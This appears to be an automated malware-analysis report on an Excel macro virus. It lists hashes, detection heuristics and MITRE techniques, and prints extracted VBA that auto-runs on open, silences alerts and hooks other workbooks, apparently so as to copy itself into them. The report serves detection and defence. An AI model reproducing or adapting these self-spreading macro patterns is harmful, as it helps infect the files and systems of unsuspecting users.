Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f2d072c9f8ecca8…

MALICIOUS

Office (OLE)

102.5 KB Created: 2013-02-16 06:28:04 First seen: 2015-09-30
MD5: 9a14c70a9c4cce35ab01f23e244915e0 SHA-1: bb1a08b123dc12038632fc3cc37a2b8d54fb195a SHA-256: 4f2d072c9f8ecca8ffe0445bae91f9f9ab802a4eaf2cdec5ce40ed6174b03312
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a macro-enabled Excel file containing a Workbook_Open macro that executes arbitrary code. The critical heuristic firing indicates the VBA p-code auto-executes with Shell, suggesting it attempts to run a malicious payload. The ClamAV detection name also points to known malicious content.

Heuristics 4

  • ClamAV: Xls.Virus.Mailcab-6702020-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Mailcab-6702020-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1720 bytes
SHA-256: 648255697b1aa09242376544bd8a19940878b3e1a3136dd103a037951c30480b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public WithEvents xx As Application
Attribute xx.VB_VarHelpID = -1
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True